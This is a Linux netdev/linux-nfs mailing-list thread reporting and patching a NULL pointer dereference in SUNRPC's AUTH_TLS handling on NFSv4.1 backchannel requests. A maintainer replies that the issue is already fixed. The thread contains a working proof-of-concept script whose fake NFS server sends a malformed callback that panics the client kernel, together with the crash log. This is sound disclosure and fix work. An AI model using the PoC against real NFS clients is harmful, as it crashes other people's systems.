Netdev List
 help / color / mirror / Atom feed
* [PATCH net 0/1] SUNRPC: reject AUTH_TLS on backchannel requests
@ 2026-10-23  5:55 Zhiling Zou
  2026-10-23  5:55 ` [PATCH net 1/1] " Zhiling Zou
  0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-10-23  5:55 UTC (permalink / raw)
  To: linux-nfs, netdev
  Cc: trondmy, anna, cel, jlayton, neil, okorniev, Dai.Ngo, tom, davem,
	edumazet, pabeni, horms, vega, zhilinz

Hi Linux kernel maintainers,

We found and validated a NULL pointer dereference in
net/sunrpc/svcauth_unix.c. A malicious NFSv4.1 server can trigger it in
a client by sending an AUTH_TLS callback request over the backchannel.
The reproducer uses a privileged local mount to a fake server.

We will provide details of the bug below, along with the PoC and the
QEMU crash log.

---- details below ----

Bug details:

svc_process_bc() processes reverse-direction RPC calls with
rqstp->rq_xprt set to NULL, then hands the request to
svc_process_common() for authentication. For an RPC_AUTH_TLS credential,
svc_authenticate() calls svcauth_tls_accept(). A valid empty credential
and NULL verifier on procedure zero pass the initial checks. The TLS
authenticator then dereferences rqstp->rq_xprt to inspect transport
handshake support, causing a NULL pointer dereference before the NFS
callback program can reject the request.

Reject AUTH_TLS when the request has no service transport. Such a
backchannel request is denied before the authenticator accesses
rq_xprt.

Reproducer:

    chmod +x poc.sh
    ./poc.sh

Run the reproducer as root in a QEMU guest with NFSv4.1, SUNRPC
backchannel support, and KASAN enabled. The script starts a local fake
NFS server, mounts it with NFSv4.1, and sends the malformed callback.

The crash was reproduced on Linux 6.12.95 with CONFIG_NFS_FS,
CONFIG_NFS_V4_1, CONFIG_NFSD, CONFIG_SUNRPC,
CONFIG_SUNRPC_BACKCHANNEL, and CONFIG_KASAN enabled.

------BEGIN poc.sh------

#!/bin/sh
set -eu

MNT=/tmp/nfs-bc-poc
PORT=3049
SERVER=/tmp/nfs-bc-server.py

mkdir -p "$MNT"

cat >"$SERVER" <<'PY'
import socket
import struct
import time


def recvn(conn, count):
    data = b""
    while len(data) < count:
        chunk = conn.recv(count - len(data))
        if not chunk:
            raise EOFError(f"short read: wanted {count}, got {len(data)}")
        data += chunk
    return data


def recv_record(conn):
    marker = recvn(conn, 4)
    value, = struct.unpack(">I", marker)
    length = value & 0x7fffffff
    return marker + recvn(conn, length)


def send_record(conn, payload):
    conn.sendall(struct.pack(">I", 0x80000000 | len(payload)) + payload)


def null_reply(xid):
    # xid, REPLY, MSG_ACCEPTED, AUTH_NULL, len=0, SUCCESS
    return struct.pack(">6I", xid, 1, 0, 0, 0, 0)


malicious_call = struct.pack(
    ">10I",
    0xdeadbeef,  # xid
    0,           # CALL
    2,           # RPC version
    0x40000000,  # NFS4_CALLBACK
    4,           # callback program version
    0,           # CB_NULL
    7,           # RPC_AUTH_TLS
    0,           # empty credential body
    0,           # RPC_AUTH_NULL verifier
    0,           # empty verifier body
)


listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("127.0.0.1", 3049))
listener.listen(1)

conn, addr = listener.accept()
print(f"accepted {addr}", flush=True)

req1 = recv_record(conn)
print(f"req1={req1.hex()}", flush=True)
xid1, = struct.unpack(">I", req1[4:8])
send_record(conn, null_reply(xid1))
print("sent null reply", flush=True)

req2 = recv_record(conn)
print(f"req2={req2.hex()}", flush=True)
send_record(conn, malicious_call)
print("sent malicious callback", flush=True)

time.sleep(30)
PY

python3 "$SERVER" >/tmp/nfs-bc-server.log 2>&1 &
server_pid=$!
trap 'kill "$server_pid" 2>/dev/null || true' EXIT INT TERM
sleep 1

# -i bypasses mount.nfs helper pre-probes so the kernel client speaks to our
# local fake server directly.
mount -i -t nfs4 \
  -o vers=4.1,port="$PORT",addr=127.0.0.1,clientaddr=127.0.0.1,soft,timeo=1,retrans=0 \
  127.0.0.1:/ "$MNT" || true

sleep 5
cat /tmp/nfs-bc-server.log || true

------END poc.sh--------

----BEGIN crash log----

[  237.564994][ T1083] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000001: 0000 [#1] SMP KASAN NOPTI
[  237.565967][ T1083] KASAN: null-ptr-deref in range [0x0000000000000008-0x000000000000000f]
[  237.566585][ T1083] CPU: 1 UID: 0 PID: 1083 Comm: NFSv4 callback Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[  237.567454][ T1083] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  237.568324][ T1083] RIP: 0010:svcauth_tls_accept+0x230/0x800
[  237.568824][ T1083] Code: 85 59 05 00 00 48 89 83 68 01 00 00 48 85 c0 0f 84 cb 03 00 00 48 b8 00 00 00 00 00 fc ff df 49 8d 7d 08 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 46 05 00 00 48 b8 00 00 00 00 00 fc ff df 4d 8b
[  237.570143][ T1083] RSP: 0018:ffffc90003107c48 EFLAGS: 00010212
[  237.570539][ T1083] RAX: dffffc0000000000 RBX: ffff888109430000 RCX: 1ffff1102128602d
[  237.571037][ T1083] RDX: 0000000000000001 RSI: 0000000000000004 RDI: 0000000000000008
[  237.571535][ T1083] RBP: 1ffff92000620f8a R08: 0000000000000001 R09: ffffed102080a865
[  237.572030][ T1083] R10: ffff88810405432b R11: 0000000000000001 R12: ffff8881094301f0
[  237.572535][ T1083] R13: 0000000000000000 R14: ffff888109432c84 R15: ffffffff88b0b240
[  237.573030][ T1083] FS:  0000000000000000(0000) GS:ffff888119e00000(0000) knlGS:0000000000000000
[  237.573591][ T1083] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  237.574006][ T1083] CR2: 000079a069f1b0a0 CR3: 0000000117296001 CR4: 0000000000770ef0
[  237.574512][ T1083] PKRU: 55555554
[  237.574738][ T1083] Call Trace:
[  237.574950][ T1083]  <TASK>
[  237.575141][ T1083]  ? __pfx_svcauth_tls_accept+0x10/0x10
[  237.575496][ T1083]  ? lock_acquire+0x153/0x2f0
[  237.575818][ T1083]  svc_process_common+0x84b/0x1ce0
[  237.576148][ T1083]  ? lock_release+0x687/0xc90
[  237.576493][ T1083]  ? __pfx_svc_process_common+0x10/0x10
[  237.576914][ T1083]  ? __pfx_lock_release+0x10/0x10
[  237.577298][ T1083]  svc_process_bc+0x4ed/0x980
[  237.577655][ T1083]  ? srso_alias_return_thunk+0x5/0xfbef5
[  237.578110][ T1083]  ? do_raw_spin_unlock+0x14a/0x1f0
[  237.578498][ T1083]  ? __pfx_svc_process_bc+0x10/0x10
[  237.578937][ T1083]  nfs4_callback_svc+0xb1/0x140
[  237.579271][ T1083]  ? __pfx_nfs4_callback_svc+0x10/0x10
[  237.579683][ T1083]  kthread+0x2bd/0x3a0
[  237.580000][ T1083]  ? __pfx_kthread+0x10/0x10
[  237.580336][ T1083]  ? __pfx_kthread+0x10/0x10
[  237.580693][ T1083]  ret_from_fork+0x31/0x70
[  237.581036][ T1083]  ? __pfx_kthread+0x10/0x10
[  237.581393][ T1083]  ret_from_fork_asm+0x1a/0x30
[  237.581771][ T1083]  </TASK>
[  237.581995][ T1083] Modules linked in:
[  237.582447][ T1083] ---[ end trace 0000000000000000 ]---
[  237.582861][ T1083] RIP: 0010:svcauth_tls_accept+0x230/0x800
[  237.583310][ T1083] Code: 85 59 05 00 00 48 89 83 68 01 00 00 48 85 c0 0f 84 cb 03 00 00 48 b8 00 00 00 00 00 fc ff df 49 8d 7d 08 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 46 05 00 00 48 b8 00 00 00 00 00 fc ff df 4d 8b
[  237.585029][ T1083] RSP: 0018:ffffc90003107c48 EFLAGS: 00010212
[  237.585481][ T1083] RAX: dffffc0000000000 RBX: ffff888109430000 RCX: 1ffff1102128602d
[  237.586066][ T1083] RDX: 0000000000000001 RSI: 0000000000000004 RDI: 0000000000000008
[  237.586644][ T1083] RBP: 1ffff92000620f8a R08: 0000000000000001 R09: ffffed102080a865
[  237.587235][ T1083] R10: ffff88810405432b R11: 0000000000000001 R12: ffff8881094301f0
[  237.588020][ T1083] R13: 0000000000000000 R14: ffff888109432c84 R15: ffffffff88b0b240
[  237.588798][ T1083] FS:  0000000000000000(0000) GS:ffff888119e00000(0000) knlGS:0000000000000000
[  237.589472][ T1083] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  237.590105][ T1083] CR2: 000079a069f1b0a0 CR3: 0000000117296001 CR4: 0000000000770ef0
[  237.590876][ T1083] PKRU: 55555554
[  237.591159][ T1083] Kernel panic - not syncing: Fatal exception
[  237.591781][ T1083] Kernel Offset: disabled
[  237.592105][ T1083] Rebooting in 10 seconds..

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  SUNRPC: reject AUTH_TLS on backchannel requests

 net/sunrpc/svcauth_unix.c | 5 +++++
 1 file changed, 5 insertions(+)

-- 
2.55.0

^ permalink raw reply	[flat|nested] 3+ messages in thread

* [PATCH net 1/1] SUNRPC: reject AUTH_TLS on backchannel requests
  2026-10-23  5:55 [PATCH net 0/1] SUNRPC: reject AUTH_TLS on backchannel requests Zhiling Zou
@ 2026-10-23  5:55 ` Zhiling Zou
  2026-10-23 18:02   ` Chuck Lever
  0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-10-23  5:55 UTC (permalink / raw)
  To: linux-nfs, netdev
  Cc: trondmy, anna, cel, jlayton, neil, okorniev, Dai.Ngo, tom, davem,
	edumazet, pabeni, horms, vega, zhilinz

svc_process_bc() processes reverse-direction calls with rqstp->rq_xprt
set to NULL. A backchannel caller can supply RPC_AUTH_TLS, which selects
svcauth_tls_accept(). That handler dereferences rq_xprt while checking
for transport handshake support, causing a NULL pointer dereference
before the RPC program can reject the request.

Reject AUTH_TLS credentials when no service transport is present. The
backchannel request is then denied without accessing rq_xprt.

Fixes: 74aaf96feaca ("SUNRPC: Teach server to recognize RPC_AUTH_TLS")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
 net/sunrpc/svcauth_unix.c | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/net/sunrpc/svcauth_unix.c b/net/sunrpc/svcauth_unix.c
index 31a1bc60a5f6d..bac38f3ce9a6c 100644
--- a/net/sunrpc/svcauth_unix.c
+++ b/net/sunrpc/svcauth_unix.c
@@ -1128,6 +1128,11 @@ svcauth_tls_accept(struct svc_rqst *rqstp)
 		rqstp->rq_auth_stat = rpc_autherr_badcred;
 		return SVC_DENIED;
 	}
+	if (unlikely(!xprt)) {
+		/* Backchannel requests do not have a service transport. */
+		rqstp->rq_auth_stat = rpc_autherr_badcred;
+		return SVC_DENIED;
+	}
 
 	/* Signal that mapping to nobody uid/gid is required */
 	cred->cr_uid = INVALID_UID;
-- 
2.55.0


^ permalink raw reply related	[flat|nested] 3+ messages in thread

* Re: [PATCH net 1/1] SUNRPC: reject AUTH_TLS on backchannel requests
  2026-10-23  5:55 ` [PATCH net 1/1] " Zhiling Zou
@ 2026-10-23 18:02   ` Chuck Lever
  0 siblings, 0 replies; 3+ messages in thread
From: Chuck Lever @ 2026-10-23 18:02 UTC (permalink / raw)
  To: Zhiling Zou, linux-nfs, netdev
  Cc: Trond Myklebust, Anna Schumaker, Jeff Layton, NeilBrown,
	Olga Kornievskaia, Dai Ngo, Tom Talpey, davem, Eric Dumazet,
	Paolo Abeni, Simon Horman, vega



On Fri, Oct 23, 2026, at 1:55 AM, Zhiling Zou wrote:
> svc_process_bc() processes reverse-direction calls with rqstp->rq_xprt
> set to NULL. A backchannel caller can supply RPC_AUTH_TLS, which selects
> svcauth_tls_accept(). That handler dereferences rq_xprt while checking
> for transport handshake support, causing a NULL pointer dereference
> before the RPC program can reject the request.
>
> Reject AUTH_TLS credentials when no service transport is present. The
> backchannel request is then denied without accessing rq_xprt.
>
> Fixes: 74aaf96feaca ("SUNRPC: Teach server to recognize RPC_AUTH_TLS")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Assisted-by: LLM
> Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
> ---
>  net/sunrpc/svcauth_unix.c | 5 +++++
>  1 file changed, 5 insertions(+)
>
> diff --git a/net/sunrpc/svcauth_unix.c b/net/sunrpc/svcauth_unix.c
> index 31a1bc60a5f6d..bac38f3ce9a6c 100644
> --- a/net/sunrpc/svcauth_unix.c
> +++ b/net/sunrpc/svcauth_unix.c
> @@ -1128,6 +1128,11 @@ svcauth_tls_accept(struct svc_rqst *rqstp)
>  		rqstp->rq_auth_stat = rpc_autherr_badcred;
>  		return SVC_DENIED;
>  	}
> +	if (unlikely(!xprt)) {
> +		/* Backchannel requests do not have a service transport. */
> +		rqstp->rq_auth_stat = rpc_autherr_badcred;
> +		return SVC_DENIED;
> +	}
> 
>  	/* Signal that mapping to nobody uid/gid is required */
>  	cred->cr_uid = INVALID_UID;
> -- 
> 2.55.0

Commit a54a573bceaf, "sunrpc: reject AUTH_TLS on backchannel to prevent
NULL-deref in svcauth_tls_accept", now in the nfsd-testing branch,
already addresses this issue. Thanks for confirming the finding!


-- 
Chuck Lever (Come to NFS bake-a-thon! https://nfsv4bat.org)

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-10-23 18:02 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-23  5:55 [PATCH net 0/1] SUNRPC: reject AUTH_TLS on backchannel requests Zhiling Zou
2026-10-23  5:55 ` [PATCH net 1/1] " Zhiling Zou
2026-10-23 18:02   ` Chuck Lever

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox